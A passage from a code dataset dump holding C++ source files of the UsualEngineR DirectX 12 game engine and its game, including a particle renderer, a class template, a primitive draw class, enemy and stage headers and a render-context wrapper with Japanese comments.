mvp);\n\n\t\tSConstBuffData data(mvp, mulColor);\n\n\t\t//Matrix imRot;\n\t\t//imRot.Inverse(mRot);\n\n\t\tif(m_isBillboard)\n\t\t\tvwirot.Multiply(vrot, m_mRot_inv);\n\t\t\n\t\tSParticleData* datas = new SParticleData[m_numInstance]();\n\t\tfor (int i = 0; i < m_numInstance; i++)\n\t\t{\n\t\t\t//datas[i] = m_particleDatas[i];\n\t\t\tauto& particle = m_particleDatasEX[i].particleData;\n\t\t\tMatrix /*tra, sca,*/ rot;\n\t\t\t//tra.MakeTranslation(particle.pos);\n\t\t\t//sca.MakeScaling(particle.sca);\n\t\t\trot.MakeRotationFromQuaternion(particle.rot);\n\n\t\t\tif (m_particleDatasEX[i].isWorld && m_isBillboard)\n\t\t\t{\n\t\t\t\tQuaternion roti = m_particleDatasEX[i].mWorld.GetRotate();\n\t\t\t\troti.Inverse(roti);\n\t\t\t\tMatrix vpirot;\n\t\t\t\tvpirot.MakeRotationFromQuaternion(roti);\n\t\t\t\tvpirot.Multiply(vrot, vpirot);\n\t\t\t\trot.Multiply(vpirot, rot);\n\t\t\t}\n\t\t\telse if (m_isBillboard)\n\t\t\t{\n\t\t\t\trot.Multiply(vwirot, rot);\n\t\t\t}\n\t\t\t//datas[i].mWorld.Multiply(sca, rot);\n\t\t\tdatas[i].mWorld = rot;\n\t\t\tdatas[i].mWorld.v[0].Scale(particle.sca.x);\n\t\t\tdatas[i].mWorld.v[1].Scale(particle.sca.y);\n\t\t\tdatas[i].mWorld.v[2].Scale(particle.sca.z);\n\t\t\t//datas[i].mWorld.Multiply(datas[i].mWorld, tra);\n\t\t\tdatas[i].mWorld.SetTranspose(particle.pos);\n\t\t\tif (m_particleDatasEX[i].isWorld)\n\t\t\t{\n\t\t\t\tMatrix mw;\n\t\t\t\tmw.Multiply(m_particleDatasEX[i].mWorld, mvp);\n\t\t\t\tdatas[i].mWorld.Multiply(datas[i].mWorld, mw);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tdatas[i].mWorld.Multiply(datas[i].mWorld, mwvp);\n\t\t\t}\n\n\t\t\tdatas[i].mulColor = particle.mulColor;\n\t\t}\n\t\tm_structuredBuff.Update(datas, m_numInstance);\n\t\tm_constBuffer.CopyToVRAM(data);\n\n\t\trc.SetIndexBuffer(m_indexBuff);\n\t\trc.SetVertexBuffer(m_vertBuff);\n\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetPipelineState(m_pipState);\n\t\trc.SetDescriptorHeap(m_descHeap);\n\n\t\trc.DrawIndexedInstanced(4, m_numInstance, 0, 0, 0);\n\n\t\tdelete[] datas;\n\t}\n\n\n\n\tint dbg_cnt = 0;\n\tstd::vector<PlaneParticleEffectRender*> dbg_ptrs;\n\tvoid PlaneParticleEffectRender::Awake()\n\t{\n\t\t//DebugPrintValue(EDebugConsoleKind::common, \"dbg_cnt add\", ++dbg_cnt);\n\t\t//dbg_ptrs.push_back(this);\n\t}\n\tvoid PlaneParticleEffectRender::Init(const PlaneParticleEffectInitData& pid)\n\t{\n\t\tm_effect.Init(pid);\n\t}\n\n\tvoid PlaneParticleEffectRender::Update()\n\t{\n\t\t\n\t}\n\n\tvoid PlaneParticleEffectRender::PostUpdate()\n\t{\n\t\tfloat dtime = gameTime()->GetDeltaTime();\n\t\tm_effect.Update(dtime, m_pos, m_sca, m_rot);\n\t}\n\n\tvoid PlaneParticleEffectRender::PrePostRender()\n\t{\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\t\tconst auto& view = g_camera3D->GetViewMatrix();\n\t\tconst auto& proj = g_camera3D->GetProjectionMatrix();\n\t\tm_effect.Draw(rc, m_pos, m_sca, m_rot, m_mulColor, view, proj);\n\t}\n}"
},
{
"alpha_fraction": 0.6049895882606506,
"alphanum_fraction": 0.6049895882606506,
"avg_line_length": 5.259740352630615,
"blob_id": "3831bf64bff1dadd350fe1b587e54b9e2baf1bc3",
"content_id": "cd5c06f81658fe3c57db1c61e0cf7873d1cada00",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 481,
"license_type": "no_license",
"max_line_length": 22,
"num_lines": 77,
"path": "/Tools/UERGameObjectFileGenerator/Resource/TempCodeSource_block.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"XXX.h\"\n\n\nXXX::XXX()\n{\n\n}\n\nXXX::~XXX()\n{\n\n}\n\n\n\nvoid XXX::Release()\n{\n\n}\n\nvoid XXX::OnDestroy()\n{\n\tRelease();\n}\n\n\n:block Awake\nvoid XXX::Awake()\n{\n\n}\n:end\n\n:block Start\nbool XXX::Start()\n{\n\treturn true;\n}\n:end\n\n\n:block PreUpdate\nvoid XXX::PreUpdate()\n{\n\n}\n:end\n\n:block Update\nvoid XXX::Update()\n{\n\n}\n:end\n\n:block PostUpdate\nvoid XXX::PostUpdate()\n{\n\n}\n:end\n\n\n:block Render\nvoid XXX::Render()\n{\n\n}\n:end\n\n:block PostRender\nvoid XXX::PostRender()\n{\n\n}\n:end"
},
{
"alpha_fraction": 0.7159804701805115,
"alphanum_fraction": 0.7201674580574036,
"avg_line_length": 23.724138259887695,
"blob_id": "09b6d4c37d775b0114b45db28871789a9d3ed69f",
"content_id": "78fd6d23cafad68dc270feefffc1bdde91279ccb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1433,
"license_type": "no_license",
"max_line_length": 162,
"num_lines": 58,
"path": "/UsualEngineR/Graphics/Primitive.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Primitive.h\"\n\n\nnamespace UER\n{\n\tvoid Primitive::Release()\n\t{\n\t\tm_indexBuffer.Release();\n\t\tm_vertexBuffer.Release();\n\t}\n\tbool Primitive::Cteate(D3D_PRIMITIVE_TOPOLOGY topo, int vertexNum, int stride, const void* vertexData, int indexNum, EIndexType indexType, const void* indexData)\n\t{\n\t\tm_vertexBuffer.Init(vertexNum* stride, stride);\n\t\tif(vertexData)\n\t\t\tm_vertexBuffer.Copy((void*)vertexData);\n\n\t\tif (indexNum || 1)\n\t\t{\n\t\t\tm_indexBuffer.Init(indexNum* indexType, indexType);\n\t\t\tm_indexBuffer.Copy((void*)indexData);\n\t\t}\n\n\t\tm_topology = topo;\n\t\treturn true;\n\t}\n\n\tint Primitive::SendData(RenderContext& rc)\n\t{\n\t\trc.SetVertexBuffer(m_vertexBuffer);\n\t\trc.SetIndexBuffer(m_indexBuffer);\n\t\trc.SetPrimitiveTopology(m_topology);\n\n\t\treturn m_indexBuffer.GetCount();\n\t}\n\n\tvoid Primitive::Draw(RenderContext& rc) const\n\t{\n\t\trc.SetIndexBuffer(m_indexBuffer);\n\t\trc.SetVertexBuffer(m_vertexBuffer);\n\t\trc.SetPrimitiveTopology(m_topology);\n\t\trc.DrawIndexed(m_indexBuffer.GetCount());\n\t}\n\tvoid Primitive::Draw(RenderContext& rc, int vertexnum) const\n\t{\n\t\t//UINT ofs = 0;\n\t\t//UINT stride = m_vertexBuffer.GetStride();\n\t\t//rc->IASetVertexBuffers(0, 1, &m_vertexBuffer.GetBody(), &stride, &ofs);\n\t\t//rc->IASetPrimitiveTopology(m_topology);\n\t\t//rc->Draw(vertexnum, 0);\n\n\t\trc.SetPrimitiveTopology(m_topology);\n\t\trc.SetIndexBuffer(m_indexBuffer);\n\t\trc.SetVertexBuffer(m_vertexBuffer);\n\t\trc.DrawIndexed(vertexnum);\n\t\t\n\t}\n}"
},
{
"alpha_fraction": 0.692307710647583,
"alphanum_fraction": 0.6982248425483704,
"avg_line_length": 20.80645179748535,
"blob_id": "237eb537cb48ab422746a1ccafa5856134e7c3db",
"content_id": "3d32d50e1276ede25b37f4d9acbc6067d0f0c458",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 726,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 31,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanShootingState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\nclass MuzzleFlash;\n\nclass Boss_FatmanShootingState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanShootingState();\n\t~Boss_FatmanShootingState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\t/// <summary>\n\t/// 弾を生成する関数。\n\t/// </summary>\n\tvoid BulletGenerate(IEnemy* e);\nprivate:\n\tfloat\t\tm_shotTimer = 0.f;\n\tfloat\t\tm_stateTimer = 0.f;\n\tfloat\t\tm_damage = 0.f;\n\tIK* m_ik[2];\t\t\t\t\t//IK。左右のIKの情報が格納されている。\n\tenum IK {\n\t\tRight,\n\t\tLeft,\n\t\tIKNum\n\t};\n\tbool\t\t\tm_isKnockBack = false;\n\tstd::vector< MuzzleFlash*> m_muzzleFlashes;\n\tCSoundSource* m_shootSE = nullptr;\n};\n"
},
{
"alpha_fraction": 0.6788991093635559,
"alphanum_fraction": 0.6856269240379333,
"avg_line_length": 18.698795318603516,
"blob_id": "8a00ff1bd8c1a28aee0fcf91a39503c76b375434",
"content_id": "80d560af78a1648f7859848797e5283fc0f77d6e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1957,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 83,
"path": "/Game/Level/GameStage.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"level/Level.h\"\n#include \"Effect/VolumetricEffect.h\"\n/// <summary>\n/// \n/// </summary>\nclass GameStage :public GameObject\n{\npublic:\n\tGameStage();\n\tvirtual ~GameStage();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\tconst bool HasMapLoadingDone() {\n\t\treturn m_isLoaded;\n\t}\n\nprivate:\n\tThreadObject m_threadForLevel;\n\tLevel m_level;\n\tLevel m_phyLevel;\n\tLevel m_footholdLevel;\n\tLevel m_decoLevel;\n\t\n\tconst float m_levelScale = 100;\n\tstd::vector<ModelRender*> m_mapmodel;\n\tstd::vector<std::string> m_tkms;\n\n\tThreadObject m_threadForCreatingMeshCol;\n\tPhysicsStaticObject m_pso;\n\tint m_count = 0;\n\tPhysicsStaticObject m_mapPSOList[100];\n\n\tint m_mapObjPSOCount = 0;\n\tPhysicsStaticObject m_mapObjPSOList[42];\n\tPhysicsStaticObject m_mapWall;\n\n\tbool m_isRegistRigidBody = false;\t\t\t//剛体登録完了??\n\tstd::vector<RigidBody*> m_rigidBodys;\t\t//剛体達。\n\n\tbool m_isLoaded = false;\n\n\tstd::vector<ModelRender*> m_mbgs;\n\n\tModelRender* m_mapDeco[2] = {nullptr};\n\n\tVolumetricEffectRender* m_sandSmoke = nullptr;\n};\n"
},
{
"alpha_fraction": 0.6782569885253906,
"alphanum_fraction": 0.6925745010375977,
"avg_line_length": 27.042394638061523,
"blob_id": "ea70f0ff2daa85cdbd84a4c9d45ab620235f46a5",
"content_id": "d6dfa7c26735e05999b9828c485af793d08290f6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 13015,
"license_type": "no_license",
"max_line_length": 129,
"num_lines": 401,
"path": "/UsualEngineR/Graphics/RenderContext.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\t\n\tclass ConstantBuffer;\n\tclass Texture;\n\tclass DescriptorHeap;\n\tclass RenderTarget;\n\t/// <summary>\n\t/// レンダリングコンテキスト。\n\t/// </summary>\n\tclass RenderContext {\n\tpublic:\n\t\t/// <summary>\n\t\t/// 初期化。\n\t\t/// </summary>\n\t\t/// <param name=\"commandList\">コマンドリスト。</param>\n\t\tvoid Init(ID3D12GraphicsCommandList4* commandList)\n\t\t{\n\t\t\tm_commandList = commandList;\n\t\t}\n\n\t\tID3D12GraphicsCommandList4* GetCommandList()\n\t\t{\n\t\t\treturn m_commandList;\n\t\t}\n\t\n\t\t/// <summary>\n\t\t/// 頂点バッファを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"vb\">頂点バッファ。</param>\n\t\tvoid SetVertexBuffer(const VertexBuffer& vb)\n\t\t{\n\t\t\tm_commandList->IASetVertexBuffers(0, 1, &vb.GetView());\n\t\t}\n\t\t/// <summary>\n\t\t/// インデックスバッファを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"ib\"></param>\n\t\tvoid SetIndexBuffer(const IndexBuffer& ib)\n\t\t{\n\t\t\tm_commandList->IASetIndexBuffer(&ib.GetView());\n\t\t}\n\t\t/// <summary>\n\t\t/// プリミティブのトポロジーを設定。\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// ID3D12GraphicsCommandList::のIASetPrimitiveTopologyのラッパー関数。\n\t\t/// 詳細はMicrosoftのヘルプを参照。\n\t\t/// </remarks>\n\t\tvoid SetPrimitiveTopology(D3D12_PRIMITIVE_TOPOLOGY topology)\n\t\t{\n\t\t\tm_commandList->IASetPrimitiveTopology(topology);\n\t\t}\n\t\t/// <summary>\n\t\t/// コマンドリストを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"commandList\">コマンドリスト。</param>\n\t\tvoid SetCommandList(ID3D12GraphicsCommandList4* commandList)\n\t\t{\n\t\t\tm_commandList = commandList;\n\t\t}\n\t\t/// <summary>\n\t\t/// ビューポートを設定\n\t\t/// </summary>\n\t\t/// <param name=\"viewport\">ビューポート</param>\n\t\tvoid SetViewport(D3D12_VIEWPORT& viewport)\n\t\t{\n\t\t\tm_commandList->RSSetViewports(1, &viewport);\n\t\t}\n\t\t/// <summary>\n\t\t/// シザリング矩形を設定\n\t\t/// </summary>\n\t\t/// <param name=\"rect\"></param>\n\t\tvoid SetScissorRect(D3D12_RECT& rect)\n\t\t{\n\t\t\tm_commandList->RSSetScissorRects(1, &rect);\n\t\t}\n\t\n\t\t/// <summary>\n\t\t/// ルートシグネチャを設定。\n\t\t/// </summary>\n\t\tvoid SetRootSignature(ID3D12RootSignature* rootSignature)\n\t\t{\n\t\t\tm_commandList->SetGraphicsRootSignature(rootSignature);\n\t\t}\n\t\tvoid SetRootSignature(RootSignature& rootSignature)\n\t\t{\n\t\t\tm_commandList->SetGraphicsRootSignature(rootSignature.Get());\n\t\t}\n\t\tvoid SetComputeRootSignature(ID3D12RootSignature* rootSignature)\n\t\t{\n\t\t\tm_commandList->SetComputeRootSignature(rootSignature);\n\t\t}\n\t\tvoid SetComputeRootSignature(RootSignature& rootSignature)\n\t\t{\n\t\t\tm_commandList->SetComputeRootSignature(rootSignature.Get());\n\t\t}\n\t\t/// <summary>\n\t\t/// パイプラインステートを設定。\n\t\t/// </summary>\n\t\tvoid SetPipelineState(ID3D12PipelineState* pipelineState)\n\t\t{\n\t\t\tm_commandList->SetPipelineState(pipelineState);\n\t\t}\n\t\tvoid SetPipelineState(PipelineState& pipelineState)\n\t\t{\n\t\t\tm_commandList->SetPipelineState(pipelineState.Get());\n\t\t}\n\t\tvoid SetPipelineState1(ID3D12StateObject* pipelineState)\n\t\t{\n\t\t\tm_commandList->SetPipelineState1(pipelineState);\n\t\t}\n\t\t/// <summary>\n\t\t/// ディスクリプタヒープを設定。\n\t\t/// </summary>\n\t\tvoid SetDescriptorHeap(ID3D12DescriptorHeap* descHeap)\n\t\t{\n\t\t\tm_descriptorHeaps[0] = descHeap;\n\t\t\tm_commandList->SetDescriptorHeaps(1, m_descriptorHeaps);\n\t\t}\n\t\tvoid SetDescriptorHeap(DescriptorHeap& descHeap);\n\t\tvoid SetComputeDescriptorHeap(DescriptorHeap& descHeap);\n\t\t/// <summary>\n\t\t/// 定数バッファを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"registerNo\">設定するレジスタの番号。</param>\n\t\t/// <param name=\"cb\">定数バッファ。</param>\n\t\tvoid SetConstantBuffer(int registerNo, ConstantBuffer& cb)\n\t\t{\n\t\t\tif (registerNo < MAX_CONSTANT_BUFFER) {\n\t\t\t\tm_constantBuffers[registerNo] = &cb;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//範囲外アクセス。\n\t\t\t\tstd::abort();\n\t\t\t}\n\t\t}\n\t\t/// <summary>\n\t\t/// シェーダーリソースを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"registerNo\">設定するレジスタの番号。</param>\n\t\t/// <param name=\"texture\">テクスチャ。</param>\n\t\tvoid SetShaderResource(int registerNo, Texture& texture)\n\t\t{\n\t\t\tif (registerNo < MAX_SHADER_RESOURCE) {\n\t\t\t\tm_shaderResources[registerNo] = &texture;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//範囲外アクセス。\n\t\t\t\tstd::abort();\n\t\t\t}\n\t\t}\n\t\tvoid SetDescriptorHeaps(int numDescriptorHeap, ID3D12DescriptorHeap* descHeaps[])\n\t\t{\n\t\t\tfor (int i = 0; i < numDescriptorHeap; i++) {\n\t\t\t\tm_descriptorHeaps[i] = descHeaps[i];\n\t\t\t}\n\t\t\tm_commandList->SetDescriptorHeaps(numDescriptorHeap, m_descriptorHeaps);\n\t\t}\n\n\t\tvoid SetGraphicsRootDescriptorTable(UINT rootParameterIndex, DescriptorHeap& descHeap)\n\t\t{\n\t\t\tm_commandList->SetGraphicsRootDescriptorTable(rootParameterIndex, descHeap.Get()->GetGPUDescriptorHandleForHeapStart());\n\t\t}\n\t\t/// <summary>\n\t\t/// レンダリングターゲットとビューポートを同時に設定する。\n\t\t/// </summary>\n\t\t/// <param name=\"renderTarget\"></param>\n\t\tvoid SetRenderTarget(D3D12_CPU_DESCRIPTOR_HANDLE rtvHandle, D3D12_CPU_DESCRIPTOR_HANDLE dsvHandle)\n\t\t{\n\t\t\tm_commandList->OMSetRenderTargets(1, &rtvHandle, FALSE, &dsvHandle);\n\t\t}\n\t\t/// <summary>\n\t\t/// レンダリングターゲットとビューポートを同時に設定する。\n\t\t/// </summary>\n\t\t/// <param name=\"numRT\"></param>\n\t\t/// <param name=\"renderTarget\"></param>\n\t\tvoid SetRenderTargets(UINT numRT, RenderTarget* renderTargets[]);\n\n\t\tvoid SetRenderTargets(UINT numRT, RenderTarget rts[]);\n\t\t/// <summary>\n\t\t/// レンダリングターゲットビューのクリア。\n\t\t/// </summary>\n\t\t/// <param name=\"renderTarget\">レンダリングターゲット</param>\n\t\t/// <param name=\"clearColor\">クリアカラー</param>\n\t\tvoid ClearRenderTargetViews(\n\t\t\tint numRt, \n\t\t\tRenderTarget* renderTargets[]\n\t\t);\n\t\tvoid ClearRenderTargetView(D3D12_CPU_DESCRIPTOR_HANDLE rtvHandle, const float* clearColor)\n\t\t{\n\t\t\tm_commandList->ClearRenderTargetView(rtvHandle, clearColor, 0, nullptr);\n\t\t}\n\t\t\n\t\t/// <summary>\n\t\t/// デプスステンシルビューをクリア\n\t\t/// </summary>\n\t\t/// <param name=\"renderTarget\">レンダリングターゲット</param>\n\t\t/// <param name=\"clearValue\">クリア値</param>\n\t\tvoid ClearDepthStencilView(D3D12_CPU_DESCRIPTOR_HANDLE dsvHandle, float clearValue)\n\t\t{\n\t\t\tm_commandList->ClearDepthStencilView(\n\t\t\t\tdsvHandle,\n\t\t\t\tD3D12_CLEAR_FLAG_DEPTH | D3D12_CLEAR_FLAG_STENCIL,\n\t\t\t\tclearValue,\n\t\t\t\t0,\n\t\t\t\t0,\n\t\t\t\tnullptr);\n\t\t}\n\t\t/// <summary>\n\t\t/// レンダリングターゲットへの描き込み待ち。\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// レンダリングターゲットとして使われているテクスチャをシェーダーリソースビューとして\n\t\t/// 使用したい場合は、この関数を使って描き込み完了待ちを行う必要があります。\n\t\t/// </remarks>\n\t\t/// <param name=\"renderTarget\">レンダリングターゲット</param>\n\t\tvoid WaitUntilFinishDrawingToRenderTargets(int numRt, RenderTarget* renderTargets[]);\n\t\tvoid WaitUntilFinishDrawingToRenderTargets(int numRt, RenderTarget renderTargets[]);\n\t\tvoid WaitUntilFinishDrawingToRenderTarget(RenderTarget& renderTarget);\n\t\tvoid WaitUntilFinishDrawingToRenderTarget( ID3D12Resource* renderTarget )\n\t\t{\n\t\t\tauto r = CD3DX12_RESOURCE_BARRIER::Transition(\n\t\t\t\trenderTarget,\n\t\t\t\tD3D12_RESOURCE_STATE_RENDER_TARGET,\n\t\t\t\tD3D12_RESOURCE_STATE_PRESENT);\n\t\t\tm_commandList->ResourceBarrier(\n\t\t\t\t1,\n\t\t\t\t&r);\n\t\t}\n\t\t/// <summary>\n\t\t/// レンダリングターゲットとして使用可能になるまで待つ。\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// レンダリングターゲットとして設定したい場合は、\n\t\t/// 本関数を使って使用可能になるまで待機する必要があります。\n\t\t/// </remarks>\n\t\tvoid WaitUntilToPossibleSetRenderTargets(int numRt, RenderTarget* renderTargets[]);\n\t\tvoid WaitUntilToPossibleSetRenderTargets(int numRt, RenderTarget renderTargets[]);\n\t\tvoid WaitUntilToPossibleSetRenderTarget(RenderTarget& renderTarget);\n\t\tvoid WaitUntilToPossibleSetRenderTarget( ID3D12Resource* renderTarget)\n\t\t{\n\t\t\tauto r = CD3DX12_RESOURCE_BARRIER::Transition(renderTarget, D3D12_RESOURCE_STATE_PRESENT, D3D12_RESOURCE_STATE_RENDER_TARGET);\n\t\t\tm_commandList->ResourceBarrier(\n\t\t\t\t1,\n\t\t\t\t&r\n\t\t\t);\n\t\t}\n\t\tvoid WaitUAV(RWStructuredBuffer& uav)\n\t\t{\n\t\t\tauto r = CD3DX12_RESOURCE_BARRIER::UAV(uav.GetD3DResoruce());\n\t\t\tm_commandList->ResourceBarrier(\n\t\t\t\t1,\n\t\t\t\t&r\n\t\t\t);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// リソースバリア。\n\t\t/// </summary>\n\t\t/// <param name=\"barrier\"></param>\n\t\tvoid ResourceBarrier(D3D12_RESOURCE_BARRIER& barrier)\n\t\t{\n\t\t\tm_commandList->ResourceBarrier(1, &barrier);\n\t\t}\n\t\t/// <summary>\n\t\t/// リソースステートを遷移する。\n\t\t/// </summary>\n\t\t/// <param name=\"resrouce\"></param>\n\t\t/// <param name=\"beforeState\"></param>\n\t\t/// <param name=\"afterState\"></param>\n\t\tvoid TransitionResourceState(ID3D12Resource* resrouce , D3D12_RESOURCE_STATES beforeState, D3D12_RESOURCE_STATES afterState)\n\t\t{\n\t\t\tauto r = CD3DX12_RESOURCE_BARRIER::Transition(resrouce, beforeState, afterState);\n\t\t\tm_commandList->ResourceBarrier(\n\t\t\t\t1,\n\t\t\t\t&r\n\t\t\t);\n\t\t}\n\t\t/// <summary>\n\t\t/// コマンドリストを閉じる\n\t\t/// </summary>\n\t\tvoid Close()\n\t\t{\n\t\t\tm_commandList->Close();\n\t\t}\n\t\t/// <summary>\n\t\t/// コマンドリストをリセット。\n\t\t/// </summary>\n\t\t/// <param name=\"commandAllocator\"></param>\n\t\t/// <param name=\"pipelineState\"></param>\n\t\tvoid Reset( ID3D12CommandAllocator* commandAllocator, ID3D12PipelineState* pipelineState)\n\t\t{\n\t\t\tm_commandList->Reset(commandAllocator, pipelineState);\n\t\t}\n\t\t/// <summary>\n\t\t/// インデックスつきプリミティブを描画。\n\t\t/// </summary>\n\t\t/// <param name=\"indexCount\">インデックスの数。</param>\n\t\tvoid DrawIndexed(UINT indexCount)\n\t\t{\n\t\t\tm_commandList->DrawIndexedInstanced(indexCount, 1, 0, 0, 0);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// インデックスつきプリミティブを描画。\n\t\t/// </summary>\n\t\t/// <param name=\"indexCount\">インデックスの数。</param>\n\t\tvoid DrawIndexedInstanced(\n\t\t\tUINT indexCount,\n\t\t\tUINT InstanceCount,\n\t\t\tUINT StartIndexLocation,\n\t\t\tINT BaseVertexLocation,\n\t\t\tUINT StartInstanceLocation)\n\t\t{\n\t\t\tm_commandList->DrawIndexedInstanced(indexCount, InstanceCount, StartIndexLocation, BaseVertexLocation, StartInstanceLocation);\n\t\t}\n\t\t/// <summary>\n\t\t/// コンピュートシェーダーをディスパッチ。\n\t\t/// </summary>\n\t\t/// <param name=\"ThreadGroupCountX\"></param>\n\t\t/// <param name=\"ThreadGroupCountY\"></param>\n\t\t/// <param name=\"ThreadGroupCountZ\"></param>\n\t\tvoid Dispatch( \n\t\t\tUINT ThreadGroupCountX,\n\t\t\tUINT ThreadGroupCountY,\n\t\t\tUINT ThreadGroupCountZ )\n\t\t{\n\t\t\tm_commandList->Dispatch(ThreadGroupCountX, ThreadGroupCountY, ThreadGroupCountZ);\n\t\t}\n\t\t/// <summary>\n\t\t/// GPUでレイトレーシングアクセラレーション構造のビルドを行います。\n\t\t/// </summary>\n\t\tvoid BuildRaytracingAccelerationStructure(D3D12_BUILD_RAYTRACING_ACCELERATION_STRUCTURE_DESC desc)\n\t\t{\n\t\t\tm_commandList->BuildRaytracingAccelerationStructure(&desc, 0, nullptr);\n\t\t}\n\t\t/// <summary>\n\t\t/// レイをディスパッチ\n\t\t/// </summary>\n\t\t/// <param name=\"rayDesc\"></param>\n\t\tvoid DispatchRays(D3D12_DISPATCH_RAYS_DESC& rayDesc)\n\t\t{\n\t\t\tm_commandList->DispatchRays(&rayDesc);\n\t\t}\n\t\t/// <summary>\n\t\t/// リソースをコピー。\n\t\t/// </summary>\n\t\t/// <param name=\"pDst\">コピー先のリソース</param>\n\t\t/// <param name=\"pSrc\">コピー元のリソース</param>\n\t\tvoid CopyResource(ID3D12Resource* pDst, ID3D12Resource* pSrc)\n\t\t{\n\t\t\tm_commandList->CopyResource(pDst, pSrc);\n\t\t}\n\tprivate:\n\t\n\t\t/// <summary>\n\t\t/// ディスクリプタテーブルを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"RootParameterIndex\"></param>\n\t\t/// <param name=\"BaseDescriptor\"></param>\n\t\tvoid SetGraphicsRootDescriptorTable(\n\t\t\tUINT RootParameterIndex,\n\t\t\tD3D12_GPU_DESCRIPTOR_HANDLE BaseDescriptor)\n\t\t{\n\t\t\tm_commandList->SetGraphicsRootDescriptorTable(\n\t\t\t\tRootParameterIndex,\n\t\t\t\tBaseDescriptor\n\t\t\t);\n\t\t}\n\t\t/// <summary>\n\t\t/// ディスクリプタテーブルを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"RootParameterIndex\"></param>\n\t\t/// <param name=\"BaseDescriptor\"></param>\n\t\tvoid SetComputeRootDescriptorTable(\n\t\t\tUINT RootParameterIndex,\n\t\t\tD3D12_GPU_DESCRIPTOR_HANDLE BaseDescriptor)\n\t\t{\n\t\t\tm_commandList->SetComputeRootDescriptorTable(\n\t\t\t\tRootParameterIndex,\n\t\t\t\tBaseDescriptor\n\t\t\t);\n\t\t}\n\tprivate:\n\t\tenum { MAX_DESCRIPTOR_HEAP = 4 };\t//ディスクリプタヒープの最大数。\n\t\tenum { MAX_CONSTANT_BUFFER = 8 };\t//定数バッファの最大数。足りなくなったら増やしてね。\n\t\tenum { MAX_SHADER_RESOURCE = 16 };\t//シェーダーリソースの最大数。足りなくなったら増やしてね。\n\t\n\t\tID3D12GraphicsCommandList4* m_commandList;\t//コマンドリスト。\n\t\tID3D12DescriptorHeap* m_descriptorHeaps[MAX_DESCRIPTOR_HEAP];\t\t\t//ディスクリプタヒープの配列。\n\t\tConstantBuffer* m_constantBuffers[MAX_CONSTANT_BUFFER] = { nullptr };\t//定数バッファの配列。\n\t\tTexture* m_shaderResources[MAX_SHADER_RESOURCE] = { nullptr };\t\t\t//シェーダーリソースの配列。\n\t};\n\t\n\n\n}\n"
},
{
"alpha_fraction": 0.6611716151237488,
"alphanum_fraction": 0.6711804270744324,
"avg_line_length": 20.358489990234375,
"blob_id": "4949e6a4e6f9b049852431e3cc3699955f8ef021",
"content_id": "3440b6511e51380831bae58b6f4dc0e69dd43393",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3397,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 159,
"path": "/Game/Enemy/EnemyManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
